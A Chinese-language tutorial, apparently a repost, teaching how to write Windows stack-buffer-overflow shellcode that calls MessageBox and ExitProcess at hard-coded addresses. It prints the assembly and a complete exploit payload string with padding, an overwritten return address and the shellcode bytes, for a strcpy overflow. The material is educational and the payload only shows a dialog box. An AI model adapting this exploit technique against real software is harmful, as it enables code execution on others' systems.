zoukankan      html  css  js  c++  java
  • 缓冲区溢出分析第04课:ShellCode的编写


    前言

            ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理。那么下面我们就来编写ShellCode。为了简单起见,这里我只想让程序显示一个对话框:


    图1

    获取相关函数的地址

            那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取:

    1. #include <windows.h>  
    2. #include <stdio.h>  
    3. typedef void (*MYPROC)(LPTSTR);  
    4. int main()  
    5. {     
    6.         HINSTANCE LibHandle;  
    7.         MYPROC ProcAdd;  
    8.         LibHandle = LoadLibrary("user32");  
    9.         //获取user32.dll的地址  
    10.         printf("user32 = 0x%x ", LibHandle);  
    11.         //获取MessageBoxA的地址  
    12.         ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");  
    13.         printf("MessageBoxA = 0x%x ", ProcAdd);  
    14.         getchar();  
    15.         return 0;  
    16. }  
            其显示结果如下:


    图2

            由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。

            由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:


    图3

     编写汇编代码

            接下来需要编写欲执行的代码,一般有两种方式——C语言编写以及汇编编写,不论采用哪种方式,最后都需要转换成机器码。这里我比较倾向于使用汇编进行编写。请大家放心的是,虽然说是汇编,但其实是非常简单的汇编,请大家不要有畏惧的心理。

            那么在进行汇编代码的编写之前,我想首先给大家讲一下如何利用汇编语言实现函数的调用。

            可能大家也都知道,在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()与ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。

            如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:

    push c

    push b

    push a

    mov eax,AddressOfFunction

    call eax

            根据这个思想,我们就可以在VC++中利用内联汇编来调用ExitProcess()这个函数:

    xor ebx, ebx

    push ebx

    mov eax, 0x7c81cafa

    call eax

            接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:

    Warning :

     x57x61x72x6ex69x6ex67

    You have beenhacked!(by J.Y.) :

    x59x6fx75x20x68x61x76x65x20x62x65x65x6ex20x68x61x63x6bx65x64x21x28x62x79x20x4ax2ex59x2ex29

            然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(x20)进行填充:

    Warning :

     x57x61x72x6e

    x69x6ex67x20

    You have beenhacked!(by J.Y.) :

    x59x6fx75x20

    x68x61x76x65

    x20x62x65x65

    x6ex20x68x61

    x63x6bx65x64

    x21x28x62x79

    x20x4ax2ex59

    x2ex29x20x20

            这里之所以需要以x20进行填充,而不是x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到x00就会认为我们的字符串结束了,就不会再拷贝x00后的内容了。所以这个是需要特别留意的。

            由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即“Warning”的进栈顺序为:

    push 0x20676e69  

    push 0x6e726157    // push "Warning"

            “You have beenhacked!(by J.Y.)”的进栈顺序为:

    push 0x2020292e

    push 0x592e4a20

    push 0x79622821

    push 0x64656b63

    push 0x6168206e

    push 0x65656220

    push 0x65766168

    push 0x20756f59    // push "You have beenhacked!(by J.Y.)"

            那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:

    mov eax,esp 或 mov ecx,esp

    这样就可以了,最后再进行函数的调用:

    push ebx

    push eax

    push ecx

    push ebx

    mov eax,0x77d507ea

    call eax           // call MessageBox

            综合以上,完整的代码如下:

    1. int main()  
    2. {  
    3.     _asm{  
    4.         sub esp,0x50  
    5.         xor ebx,ebx  
    6.         push ebx           // cut string  
    7.         push 0x20676e69     
    8.         push 0x6e726157    // push "Warning"  
    9.         mov eax,esp  
    10.                 push ebx             // cut string        
    11.         push 0x2020292e  
    12.         push 0x592e4a20  
    13.         push 0x79622821  
    14.         push 0x64656b63  
    15.         push 0x6168206e  
    16.         push 0x65656220  
    17.                 push 0x65766168  
    18.         push 0x20756f59    // push "You have been hacked!(by J.Y.)"  
    19.         mov ecx,esp          
    20.           
    21.         push ebx  
    22.         push eax  
    23.         push ecx  
    24.         push ebx  
    25.         mov eax,0x77d507ea  
    26.         call eax           // call MessageBox  
    27.                 push ebx  
    28.                 mov eax, 0x7c81cafa  
    29.                 call eax            // call ExitProcess  
    30.     }  
    31.     return 0;  
    32. }  

     

    将汇编代码改写为ShellCode

            然后在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击“Disassembly”,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):

    图4

            将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode:

    1. char name[] = "x41x41x41x41x41x41x41x41"  // name[0]~name[7]  
    2.               "x41x41x41x41"                      // EBP  
    3.               "x79x5bxe3x77"                      // Return Address  
    4.               "x83xECx50"                          // sub esp,0x50  
    5.               "x33xDB"                              // xor ebx,ebx  
    6.               "x53"                                  // push ebx  
    7.               "x68x69x6Ex67x20"  
    8.               "x68x57x61x72x6E"                  // push "Warning"  
    9.               "x8BxC4"                              // mov eax,esp  
    10.               "x53"                                  // push ebx  
    11.               "x68x2Ex29x20x20"  
    12.               "x68x20x4Ax2Ex59"  
    13.               "x68x21x28x62x79"  
    14.               "x68x63x6Bx65x64"  
    15.               "x68x6Ex20x68x61"  
    16.               "x68x20x62x65x65"  
    17.               "x68x68x61x76x65"  
    18.               "x68x59x6Fx75x20"   // push "You have been hacked!(by J.Y.)"  
    19.               "x8BxCC"                              // mov ecx,esp  
    20.               "x53"                                  // push ebx  
    21.               "x50"                                  // push eax  
    22.               "x51"                                  // push ecx  
    23.               "x53"                                  // push ebx  
    24.               "xB8xeax07xd5x77"                 
    25.               "xFFxD0"                              // call MessageBox  
    26.                           "x53"  
    27.                           "xB8xFAxCAx81x7C"  
    28.                           "xFFxD0";                             // call MessageBox  
            由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:


    图5

     

    利用OD查看反汇编程序

            最后可以再观察一下OD的数据以及堆栈区域的情况:


    图6

            这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:


    图7

            这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:


    图8

            可以看到“Warning”字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。

            第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:


    图9

            可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。

     

    小结

            事实上,编写一个完整的ShellCode是没那么简单的,是需要考虑很多的问题的。比如我们这次所编写的这个简单的 ShellCode,可以完善的地方还有很多。而关于ShellCode的完善,我会在下次课程中详细讨论。
  • 相关阅读:
    StringTokenizer与indexOf()和substring()
    如何保证session一致性
    用存储过程实现for循环执行sql语句
    python 字符串替换
    python 基础
    执行env.render()渲染环境时报错get_screens raise NotImplementedError('abstract')
    安装TensorFlow的一些问题
    sqoop
    Hadoop序列化与Java序列化
    RPC
  • 原文地址:https://www.cnblogs.com/csnd/p/11785767.html
Copyright © 2011-2022 走看看